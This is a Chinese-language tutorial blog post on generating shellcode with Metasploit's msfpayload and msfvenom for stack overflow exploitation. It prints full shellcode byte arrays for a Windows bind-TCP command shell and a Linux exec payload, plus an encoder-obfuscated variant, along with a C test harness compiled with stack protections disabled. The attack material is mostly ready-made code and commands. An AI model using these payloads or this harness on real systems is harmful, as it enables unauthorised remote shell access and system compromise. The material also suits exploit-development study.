基本的栈溢出搞明白了，真实攻击中一个很重要的问题是shellcode生成。
利用Metasploit提供的工具，可以方便的生成shellcode，然后可以使用第一篇中的代码进行验证。
先说一下如何生成shellcode（都是在bt5下生成）。
例子参考来源于：http://www.offensive-security.com/metasploit-unleashed/Msfpayload
查看可用payload：
root@kali:~# msfpayload -l Framework Payloads (251 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell ...snip... ...snip... windows/x64/shell/bind_tcp Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell/reverse_tcp Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64) windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64) windows/x64/vncinject/bind_tcp Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged) windows/x64/vncinject/reverse_tcp Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
查看具体payload参数配置：
root@kali:~# msfpayload windows/shell_bind_tcp o Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Version: 14774 Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 sf Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
最后生成shellcode，以上面例子为例，生成c语言可用shellcode：
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=7777 C /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=7777, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7" "\x31\xdb\x53\x68\x02\x00\x1e\x61\x89\xe6\x6a\x10\x56\x57\x68" "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75" "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e" "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
当然我们实在linux环境下，需要生成的linux相关shellcode，那么我们以exec payload来生成shellcode：
root@bt:~# msfpayload linux/x86/exec CMD=ls C /* * linux/x86/exec - 38 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependChrootBreak=false, AppendExit=false, CMD=ls */ unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c" "\x73\x00\x57\x53\x89\xe1\xcd\x80";
好，现在我们就可以在上一节的shell.c中进行验证
1 #include<unistd.h> 2 3 unsigned char large_string[128]; 4 /* 5 * linux/x86/exec - 38 bytes 6 * http://www.metasploit.com 7 * VERBOSE=false, PrependSetresuid=false, 8 * PrependSetreuid=false, PrependSetuid=false, 9 * PrependChrootBreak=false, AppendExit=false, CMD=ls 10 */ 11 unsigned char shellcode[] = 12 "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" 13 "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c" 14 "\x73\x00\x57\x53\x89\xe1\xcd\x80"; 15 16 void main() { 17 char buffer[96]; 18 int i; 19 long *long_ptr = (long *) large_string; 20 for (i = 0; i < sizeof(large_string)/sizeof(int); i++) 21 *(long_ptr + i) = (int) buffer; 22 23 for (i = 0; i < sizeof(shellcode); i++) 24 large_string[i] = shellcode[i]; 25 memcpy(buffer,large_string,sizeof(large_string)); 26 }
请注意25行，我使用了memcpy替换了strcpy，因为生成的shellcode中有不少00.
同样使用命令编译生成验证：
bai@ubuntu:/mnt/hgfs/r/stack$ gcc -fno-stack-protector -z execstack -g -o shell shell.c bai@ubuntu:/mnt/hgfs/r/stack$ ./shell
关于如何避免shellcode中包含00,可以使用msfvenom，还以上面的例子为例：
root@bt:~# msfvenom -p linux/x86/exec CMD=ls -e x86/shikata_ga_nai -b '\x00' -f c [*] x86/shikata_ga_nai succeeded with size 65 (iteration=1) unsigned char buf[] = "\xdb\xd6\xd9\x74\x24\xf4\xbb\xe3\xa4\x6b\x7e\x58\x2b\xc9\xb1" "\x0a\x83\xc0\x04\x31\x58\x15\x03\x58\x15\x01\x51\x01\x75\x9d" "\x03\x84\xef\x75\x19\x4a\x79\x62\x09\xa3\x0a\x04\xca\xd3\xc3" "\xb6\xa3\x4d\x95\xd5\x66\x7a\xa6\x19\x87\x7a\xc5\x6a\x87\x2d" "\x46\x05\x66\x1c\xe8";
但是有个问题，生成的shellcode无法利用，会把illegal instruction，引起core dump，不明原因。
